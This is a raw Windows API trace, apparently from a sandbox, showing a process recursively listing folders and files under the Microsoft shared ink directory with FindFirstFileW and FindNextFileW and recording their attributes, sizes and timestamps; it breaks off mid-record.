[0054.763] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0054.763] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred", cAlternateFileName="")) returned 1 [0054.763] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260180 [0054.764] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.764] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0054.764] FindNextFileW (in: hFindFile=0x4260180, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0054.764] FindClose (in: hFindFile=0x4260180 | out: hFindFile=0x4260180) returned 1 [0054.764] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.764] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0054.764] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols", cAlternateFileName="")) returned 1 [0054.764] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.765] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.765] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0054.765] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0054.765] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0054.765] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0054.765] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.765] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.765] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0054.765] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0054.766] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.766] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.766] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0054.766] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0054.766] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.766] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.766] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.766] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0054.766] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.766] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0054.766] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260680 [0054.767] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.767] FindClose (in: hFindFile=0x4260680 | out: hFindFile=0x4260680) returned 1 [0054.767] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0054.767] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0054.767] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.767] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0054.767] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0054.768] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0054.768] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0054.768] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0054.768] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0054.768] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, 